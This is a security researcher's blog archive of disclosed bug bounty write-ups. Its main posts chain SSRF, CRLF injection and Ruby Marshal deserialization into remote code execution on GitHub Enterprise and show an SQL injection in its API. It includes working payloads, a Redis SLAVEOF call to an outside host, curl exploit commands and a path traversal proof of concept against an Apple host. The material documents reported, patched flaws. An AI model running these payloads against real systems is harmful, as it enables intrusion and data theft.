2017年7月28日 星期五

How I Chained 4 vulnerabilities on GitHub Enterprise, From SSRF Execution Chain to RCE!



Hi, it’s been a long time since my last blog post.

In the past few months, I spent lots of time preparing for the talk of Black Hat USA 2017 and DEF CON 25. Being a Black Hat and DEFCON speaker is part of my life goal ever. This is also my first English talk in such formal conferences. It's really a memorable experience :P

Thanks Review Boards for the acceptance.


This post is a simple case study in my talk. The techniques here are old, but I’ll show you just how powerful those old tricks can be! If you are interested in, you can check slides here:
The slides covered even more powerful new approaches on SSRF and other techniques not included in this article.

In this article, I will show you a beautiful exploit chain that chained 4 vulnerabilities into a Remote Code Execution(RCE) on GitHub Enterprise.
It also be rewarded for the Best Report in GitHub 3rd Bug Bounty Anniversary Promotion!


Foreword



In my last blog post, I mentioned that the new target - GitHub Enterprise, also demonstrated how to de-obfuscate Ruby code and find SQL Injection on it. After that, I see several bounty hunters start to pay attentions on GitHub Enterprise and find lots of amazing bugs, like:


Seeing those writeups, I got a little frustrated and blame myself why I didn’t notice that :(

Therefore, I have made up my mind to find a critical vulnerability that no one have found.
Of course, in my own way!


Vulnerabilities



Before I examine the architecture of GitHub Enterprise. My intuition tells me, there are so many internal services inside GitHub Enterprise. If I can play with them, I believe I have confidences to find something interesting.

So, I am focusing on finding Server Side Request Forgery(SSRF) vulnerability more.



First Bug - Harmless SSRF


While playing GitHub Enterprise, I notice that there is an interesting feature called WebHook. It can define a custom HTTP callback when specific GIT command occurs.


You can create a HTTP callback from the URL:

https://<host>/<user>/<repo>/settings/hooks/new

And trigger it by committing files. Thus, GitHub Enterprise will notify you with a HTTP request. The  payload and the request look like bellow:

Payload URL:

http://orange.tw/foo.php


Callback Request:

POST /foo.php HTTP/1.1
Host: orange.tw
Accept: */*
User-Agent: GitHub-Hookshot/54651ac
X-GitHub-Event: ping
X-GitHub-Delivery: f4c41980-e17e-11e6-8a10-c8158631728f
content-type: application/x-www-form-urlencoded
Content-Length: 8972

payload=...



GitHub Enterprise uses Ruby Gem faraday to fetch external resources and prevents users from requesting internal services by Gem faraday-restrict-ip-addresses.

The Gem seems to be just a blacklist and can be easily bypassed by the Rare IP Address Formats defined in RFC 3986. In Linux, the 0 represented localhost

PoC:

http://0/



OK, we got a SSRF now. However, we still can’t do anything. Why?

There are several limitations in this SSRF, such as:

  • Only POST method
  • Only allowed HTTP and HTTPS scheme
  • No 302 redirection
  • No CR-LF Injection in faraday
  • Couldn't control the POST data and HTTP headers

The only thing we can control is Path part.



But, It's still worth to mentioned that this SSRF can lead to Denied of Service(DoS).

There is an Elasticsearch service bound on port 9200. In the shutdown command, Elasticsearch doesn’t care about whatever the POST data is. Therefore, you can play its REST-ful API for fun :P

Denied of Service PoC:

http://0:9200/_shutdown/



Second Bug - SSRF in Internal Graphite 


We have a SSRF now, with lots of limitations. What can I do?
My next idea is - Is there any Intranet services we can leverage?

It’s a big work. There are several HTTP services inside, and each service based on different language implementations like C / C++, Go, Python and Ruby…

With a couple of days digging. I find there is a service called Graphite on port 8000. Graphite is a highly scalable real-time graphing system and GitHub uses this system to show some statistics to users.

Graphite is written in Python and also a open-source project, you can download the source code here!

From reading the source, I quickly find another SSRF here. The second SSRF is simple.

In file webapps/graphite/composer/views.py

def send_email(request):
    try:
        recipients = request.GET['to'].split(',')
        url = request.GET['url']
        proto, server, path, query, frag = urlsplit(url)
        if query: path += '?' + query
        conn = HTTPConnection(server)
        conn.request('GET',path)
        resp = conn.getresponse()
        ...

You can see Graphite receive the user input url and just fetch it! So, we can use the first SSRF to trigger the second SSRF and combine them into a SSRF execution chain.

The SSRF execution chain payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://orange.tw:12345/foo

The request of second SSRF

$ nc -vvlp 12345
...

GET /foo HTTP/1.1
Host: orange.tw:12345
Accept-Encoding: identity

OK, we successfully change the POST-based SSRF into a GET-based SSRF. But still can't do anything.

Let’s go to next stage!

Third Bug - CR-LF Injection in Python


As you can see, Graphite uses Python httplib.HTTPConnection to fetch the resources. With some trials and errors, I notice that there is a CR-LF Injection in httplib.HTTPConnection. Therefore, we have the ability to embed malicious payloads in HTTP protocol.

CR-LF Injection PoC

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:12345/%0D%0Ai_am_payload%0D%0AFoo:


$ nc -vvlp 12345
...

GET /
i_am_payload
Foo: HTTP/1.1
Host: 127.0.0.1:12345
Accept-Encoding: identity

This is one small step, but it become a giant leap for whole the exploit chain. Now, I can smuggle other protocols in this SSRF Execution Chain. For example, If we want to play with Redis, we can try following payload:

http://0:8000/composer/send_email?
to=orange@nogg&
url=http://127.0.0.1:6379/%0ASLAVEOF%20orange.tw%206379%0A

P.s. The SLAVEOF is a very nice command that you can make out-bound traffics. This is a useful trick when you are facing some Blind-SSRF!

That’s look great! However, there are also some limitations in protocol smuggling

  1. Protocols with handshakes like SSH, MySQL and SSL will fail
  2. The payload we used in second SSRF only allowed bytes from 0x00 to 0x8F due to the Python2

By the way, there is more than one way to smuggle protocols in the HTTP scheme. In my slides, I also show that how to use the features in Linux Glibc to smuggle protocols over SSL SNI, and a case study in bypassing Python CVE-2016-5699!

Check it, if you are interested :)


Fourth Bug - Unsafe Deserialization


For now, we have the ability to smuggle other protocols in a HTTP protocol, but the next problem is, what protocol do I choose to smuggle?

I spend lots of time to find out what vulnerabilities can be triggered if I can control the Redis or Memcached.

While reviewing the source. I am curious about why GitHub can store Ruby Objects in Memcached. After some digging, I find GitHub Enterprise uses Ruby Gem memcached to handle caches, and the cache was wrapped by Marshal.

It’s a good news to me. Everyone know that Marshal is dangerous.

(If you don’t know, I recommend you read the slides Marshalling Pickles by @frohoff and @gebl from AppSec California 2015)

So, our our goal is clear.

We use our SSRF execution chain to store malicious Ruby Objects in Memcached. The next time GitHub fetches the cache, Ruby Gem memcached will de-serialize the data automatically. And the result is… BOOM! Remote Code Execution! XD

Unsafe Marshal in Rails Console

irb(main):001:0> GitHub.cache.class.superclass
=> Memcached::Rails

irb(main):002:0> GitHub.cache.set("nogg", "hihihi")
=> true

irb(main):003:0> GitHub.cache.get("nogg")
=> "hihihi"

irb(main):004:0> GitHub.cache.get("nogg", :raw=>true)
=> "\x04\bI\"\vhihihi\x06:\x06ET"

irb(main):005:0> code = "`id`"
=> "`id`"

irb(main):006:0> payload = "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x07" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0c@lineno"+ "i\x00" + ":\x0C@method"+":\x0Bresult"
=> "\u0004\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\a:\u000E@instanceo:\bERB\a:\t@srcI\"\t`id`\u0006:\u0006ET:\f@linenoi\u0000:\f@method:\vresult"

irb(main):007:0> GitHub.cache.set("nogg", payload, 60, :raw=>true)
=> true

irb(main):008:0> GitHub.cache.get("nogg")
=> "uid=0(root) gid=0(root) groups=0(root)\n"

OK, let’s summarize our steps!

  1. First SSRF - Bypass the existing protection in Webhook
  2. Second SSRF - SSRF in Graphite service
  3. Chained first SSRF and second SSRF into a SSRF execution chain
  4. CR-LF Injection in the SSRF execution chain
  5. Smuggled as Memcached protocol and insert a malicious Marshal Object
  6. Triggered RCE

Exploit in a Nutshell




The final exploit you can find on Gist and video on Youtube






The Fix



GitHub had made a number of improvements to prevent related issues again!

  1. Enhanced the Gem faraday-restrict-ip-addresses
  2. Applied a custom Django middleware to ensure attackers can’t reach path outside http://127.0.0.1:8000/render/
  3. Enhanced iptables rules that block access with pattern User-Agent: GitHub-Hookshot

$ cat /etc/ufw/before.rules
...
-A ufw-before-input -m multiport -p tcp ! --dports 22,23,80,81,122,123,443,444,8080,8081,8443,8444 -m recent --tcp-flags PSH,ACK PSH,ACK --remove -m string --algo bm --string "User-Agent: GitHub-Hookshot" -j REJECT --reject-with tcp-reset
...


Timeline



  • 2017/01/23 23:22 Report the vulnerability to GitHub via HackerOne, report number 200542 assigned
  • 2017/01/23 23:37 GitHub changed the status to Triaged.
  • 2017/01/24 04:43 GitHub responses that the issue validated and working on a fix.
  • 2017/01/31 14:01 GitHub Enterprise 2.8.7 released.
  • 2017/02/01 01:02 GitHub response that this issue have been fixed!
  • 2017/02/01 01:02 GitHub rewarded $7,500 USD bounty!
  • 2017/03/15 02:38 GitHub rewarded $5,000 USD for the best report bonus.

2017年1月7日 星期六

GitHub Enterprise SQL Injection


Before


GitHub Enterprise is the on-premises version of GitHub.com that you can deploy a whole GitHub service in your private network for businesses. You can get 45-days free trial and download the VM from enterprise.github.com.

After you deployed, you will see like bellow:

alt

alt

alt

Now, I have all the GitHub environment in a VM. It's interesting, so I decided to look deeper into VM :P



Environment


The beginning of everything is Port Scanning. After using our good friend - Nmap, we found that there are 6 exposed ports on VM.

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

With a little knocking and service grabbing, it seems like:

  • 22/tcp and 9418/tcp seem like haproxy and it forwards connections to a backend service called babeld
  • 80/tcp and 443/tcp are the main GitHub services
  • 122/tcp is just a SSH service
  • 8443/tcp is management console of GitHub

By the way, GitHub management console need a password to login. Once you got the password, you can add your SSH key and connect into VM through 122/tcp

With SSH into VM, we examined the whole system and found that the service code base looks like under directory of /data/

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

Change directory to /data/ and try to review the source code, but it seems encrypted :(

alt

GitHub uses a custom library to obfuscate their source code. If you search ruby_concealer.so on Google, you will find a kind man write a snippet on this gist.

It simply replace rb_f_eval to rb_f_putsin ruby_concealer.so and it’s work.

But to be a hacker. We can’t just use it without knowing how it works.
So, let’s open IDA Pro!

alt

alt

As you can see. It just uses Zlib::Inflate::inflate to decompress data and XOR with following key:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. 

So we can easily implement it by our-self!

require 'zlib'

def decrypt(s)
    key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
    i, plaintext = 0, ''

    Zlib::Inflate.inflate(s).each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord).chr
        i += 1
    end
    plaintext
end

content = File.open(ARGV[0], "r").read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content

puts plaintext






Code Analysis


After de-obfuscated all the code. Finally, we can start our code reviewing process.

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.

http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...



$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

Most of the code are written in Ruby (Ruby on Rails and Sinatra).

  • /data/github/ looks like the application run under port 80/tcp 443/tcp and it looks like the real code base of github.com, gist.github.com and api.github.com
  • /data/render/ looks like real code base of render.githubusercontent.com
  • /data/enterprise-manage/ seems like the application run under port 8443/tcp

GitHub Enterprise uses enterprise? and dotcom? to check whether the application is running under Enterprise Mode or GitHub dot com mode.



Vulnerability


I use about one week to find this vulnerability, I am not familiar with Ruby. But just learning from doing :P

This is my rough schedule of the week.

  • Day 1 - Setting VM
  • Day 2 - Setting VM
  • Day 3 - Learning Rails by code reviewing
  • Day 4 - Learning Rails by code reviewing
  • Day 5 - Learning Rails by code reviewing
  • Day 6 - Yeah, I found a SQL Injection!

That SQL Injection vulnerability is found under GitHub Enterprise PreReceiveHookTarget model.

The root cause is in /data/github/current/app/model/pre_receive_hook_target.rb line 45

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order([order, direction].join(" "))
46   }

Although There is built-in ORM(called ActiveRecord in Rails) in Rails and prevent you from SQL Injection. But there are so many misuse of ActiveRecord may cause SQL Injection.

More examples you can check Rails-sqli.org. It’s good to learn about SQL Injection on Rails.

In this case, if we can control the parameter of method order we can inject our malicious payload into SQL.

OK, let’s trace up! sorted_by is called by /data/github/current/app/api/org_pre_receive_hooks.rb in line 61.



10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :org => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable(org)
14     targets = sort(targets).paginate(pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort(scope)
61     scope.sorted_by("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

You can see that params[:sort] is passed to scope.sorted_by . So, we can inject our malicious payload into params[:sort].

Before you trigger this vulnerability, you need a valid access_token with admin:pre_receive_hook scope to access API. Fortunately, it can be obtained by following command:



$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },
  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

Once you get a access_token, you can trigger the vulnerability by:



$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[

]

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if(user()="github@localhost",sleep(5),user())
{
    ...
}

alt



Timeline


  • 2016/12/26 05:48 Report vulnerability to GitHub via HackerOne
  • 2016/12/26 08:39 GitHub response that have validated issue and are working on a fix.
  • 2016/12/26 15:48 Provide more vulneraiblity detail.
  • 2016/12/28 02:44 GitHub response that the fix will included with next release of GitHub Enterprise.
  • 2017/01/04 06:41 GitHub response that offer $5,000 USD reward.
  • 2017/01/05 02:37 Asked Is there anything I should concern about if I want to post a blog?
  • 2017/01/05 03:06 GitHub is very open mind and response that it’s OK!
  • 2017/01/05 07:06 GitHub Enterprise 2.8.5 released!

2016年12月7日 星期三

[隨筆] Java Web 漏洞生態食物鏈


本來這篇文章叫做 HITCON CTF 2016 初賽出題小記的,可是擺著擺著就兩個月過去惹~

轉來寫寫跟 Java 有關的東西XD


關於序

今年五六月的時候,看到某個曾經很多人用但快停止維護的 Java Web Framework 弱點的修補方式感覺還有戲所以開始追一下原始碼挖 0-Day,順便整理一下 Java Web 相關弱點 — 😊覺得有趣。


通常自己在外面演講時對於 Web Security 的分類中大致可分為三個世界:


  • File-Based 的世界,一個檔案對應一個入口點如經典的 ASP, PHP, ASPX 等
  • Route-Based 的世界,一個路徑對應一組函數(功能)如經典的 Rails, NodeJS, Django 等
  • Java 的世界,Java 的世界極其複雜自成一格獨立討論

當然三種分類並不是獨立開來,如常見 PHP MVC 用 Rewrite 將 File-Based 偽裝成 Route-Based 的還是有可能有 File Based 的特性,Java 世界中還是可能出現 File-Based / Route-Based 常見問題等等等


Java 可以獨樹一格自成一圈自然有它的道理在! Java Web 相關攻擊手法一直以來都是撲朔迷離,生態複雜出過的弱點又多(想想 Struts2 :P),偶爾爆出一個很嚴重的漏洞才又開始有人關注,也很難有一個脈絡所以一直以來都沒有看到有個很好的整理! (當然國外還是有一些在這個領域耕耘已久的研究人員如 @pwntester @meder @gebl @frohoff @空虛浪子心 等等等)


這也促使我在這下半年開始來好好研讀一下關於 Java Web 的生態以及弱點漏洞的整理。


從 2013 年開始接觸 CTF 到現在,在 Web 分類中所看到關於 Java 的題目真的少之又少,最常見的通常是 PHP、其次 Python、偶爾來點 Ruby / JavaScript / Go 等等…


雖然 PHP 最大宗很合理(現實網站常見、新手容易入門、語法特性容易寫出問題),不過身為穩定度高,在大型網站、銀行、政府網站常見的 Java 幾乎沒有就很不合理了。


最後是,PHP 的梗幾乎都被玩完了,除了老梗外幾乎都是基於 PHP 核心問題的特性,該是換點新梗的時候!


關於 Java

Java Web 的生態各種複雜,從最底層的 JVM 到 Web Container 到上層的 Web Framework,在 Java 的世界中就像是一種原料什麼都可以靠它堆塑起來,而不像以往的 PHP 只須要顧好應用層就好! 再加上在 Java 生態中很喜歡引用來、引用去,串來串去的結果則是當底層函示庫出包後,上方所有應用會跟著一起受害,舉個 JBoss Admin Console 這個應用來當例子的話則是:


JBoss Admin Console 使用 Seam Framework 這個框架所開發的網頁應用,而 Seam Framework 使用了 JSF(Java Server Faces) 的架構,Java Server Faces 為一個 Java EE 的標準,基於這個標準上的實作較知名的共有兩套


  • Apache 所實作的 MyFaces
  • Oracle 所實作的 Mojarra

而為了讓 JSF 實作更為好用又在其上引申出了一些方便 JSF 使用的 Framework 如 Richfaces

而 Seam 則是使用基於 Richfaces 上的實作,所以整個生態鏈為


  • JVM -> JBoss -> Mojarra -> Richfaces -> Seam Framework -> JBoss Admin Console

整個生態鏈串來串去只要其中一個出現漏洞則最上層的應用皆會有問題


如:


  • CVE-2010-4476,JVM 浮點數解析 DoS 漏洞,只要以上處裡的過程中出現類似 Double.parseDouble(“2.2250738585072012e-308”) 的狀況就可以達成 DoS 效果
  • Web Container / Application Server 弱點,這個不細數,JBoss, Tomcat, GlassFish, Weblogic 或是 Websphere 都出過很多洞XD
  • JSF 實作漏洞,可以看下面舉的例子
  • Framework 本身漏洞,如 CVE-2010-1871 - Seam EL注入漏洞導致遠端代碼執行
  • 網頁應用開發者本身自己寫出來的洞

舉個🌰:

在研究 Java 網頁應用弱點的時候發現到了 CVE-2010-1871 這個好玩的東西

漏洞詳情可參閱 《JBoss Seam Framework remote code execution


雖然 Seam Framework 已經是過時的產品了不過身為弱點研究人員感興趣的是漏洞的成因跟如何修補,在研究漏洞如何修補的同時順便對 Seam Framework 的原始碼審查一下,發現在 Seam Framework 2 的這個分支中最新的版本為 2.3.1.Final,在前文有提到,Seam 所使用的是基於 Mojarra 實作的 Richfaces,這代表只要 Mojarra 或是 Richfaces 有弱點,則可影響到所有使用 Seam2 所撰寫的應用程式。


再仔細觀察一下 Seam 2 所使用到的函示庫

lib/richfaces-core-impl.jar - 根據 MANIFEST 內容顯示版本為 Richfaces 4.3.3.Final

lib/jsf-impl.jar - 根據 MANIFEST 內容顯示版本為 Mojarra 2.1.7


最新版本的 Seam 2 使用的居然不是最新版本的第三方函示庫! 透過尋找上面兩個函示庫出現過的漏洞會發現在 2013 年出現的 CVE-2013-3827

詳情可參考《Two Path Traversal Defects in Oracle’s JSF2 Implementation


所以基於 CVE-2013-3827 上,將原本的 PoC 修改一下就可以完美的重現在最新版本的 Seam Framework 2 上面。


上面這個例子只能做到讀取敏感檔案,接下來再一個遠端代碼執行的例子:

同樣也是使用到舊版本 Richfaces 的 CVE-2013-2165,開發者根本不會知道多了一個 /a4j/ 的 url-pattern,漏洞會從 url 中直接將參數代入 readObject 執行,剛好可以搭上最近很夯的 Java Deserialization 風潮達成遠端代碼執行!


關於這樣應用建立在前面的基石,當基石出問題時整個倒下來的情形在 Java 世界中並不少見,最近很夯的 Java Deserialization 相關問題也有類似這樣的生態鏈,還不覺得 Java 的世界很有趣嗎? XD


好惹,差不多降!

這只是個隨筆就先富堅,有空的話再多寫一點好惹




小結

由於生態完整並要注重系統穩定,大部分使用 Java 當成網站開發的都是些大型網站或注重穩定性的網站如金融業或是政府機構,並且為求穩定通常不會頻繁的更新系統,所以在複雜的架構交疊下如攻擊者沒有一定程度的研究的話很難發現用了什麼框架會有什麼漏洞,因此有時很容易出現那種明明被被很多人檢視過但還是沒被挖出來的漏洞!


如在研究時順便觀察到 Apple 的網站有使用 Mojarra 的特徵,2013 年的漏洞丟下去居然還可以用 Java Web Framework 相關的漏洞真的滿邊緣人的XDD


PoC:


https://???.apple.com/???/javax.faces.resource…/WEB-INF/web.xml.jsf


出來混遲早要還的,不然技術債會越累積越多,接下來有空的話應該會嘗試檢視 Spring Framework Source Code,畢竟也是現在的主流!

至於 S 什麼什麼 T 什麼什麼 2 的就不用多講了XD




題外話 1

題外話是,在 Review 完 Seam Framework 後回報了幾個漏洞給 security@jboss.org ,不過回覆則說因為 Seam 只能在 JBoss EAP 7 下使用,而 JBoss EAP 也即將在 2016/11 月停止維護,所以除了重要或是嚴重風險的漏洞外皆不修復。


所以你知道的,現在用 Seam 寫的網頁都可以

嗯,真棒XD




題外話 2

Apple 敏感檔案存取的漏洞是新訓進去前發現的,出來要回報時就發現不能用不知道是修掉還怎樣QQ

本來想直接公開不過還是在發佈文章前最後一秒把關鍵字碼掉惹

2016年10月13日 星期四

Collection of CTF Web Challenges I made


把出過的 CTF Web 題都整理上 GitHub 惹,包括原始碼、解法、所用到技術、散落在外的 Write ups 等等

This is the repository of CTF Web challenges I made. It contains challs's source code, solution, write ups and some idea explanation.



2016年7月23日 星期六

HITCON 2016 投影片 - Bug Bounty 獎金獵人甘苦談 那些年我回報過的漏洞


This is my talk about being a Bug Bounty Hunter at HITCON Community 2016

It shared some of my views on finding bugs and some case studies, such as
  • Facebook Remote Code Execution... more details
  • Uber Remote Code Execution... more details
  • developer.apple.com Remote Code Execution
  • abs.apple.com Remote Code Execution
  • b.login.yahoo.com Remote Code Execution... more details
  • eBay SQL Injection
  • www.google.com XSS
  • Apple XSS
  • Facebook Onavo XSS
  • Uber XSS

Sorry for it's only in Chinese. Wishing you would like it.

-----

很榮幸成為 HITCON 2016 CMT 的 Keynote,下面是這次演講的投影片跟介紹XD

分享當個獎金獵人在參加各大廠商 Bug Bounty 計畫與尋找漏洞上的心得談, 以及那些回報中那些成功或被拒絕的案例與漏洞細節!

廠商包括 Google, Facebook, Apple, Yahoo, Uber 及 eBay,弱點則從 Remote Code Execution, SQL Injection, Logical Flaws 到特殊姿勢的 XSS 不等。

一起來看看大公司會有什麼樣的漏洞吧!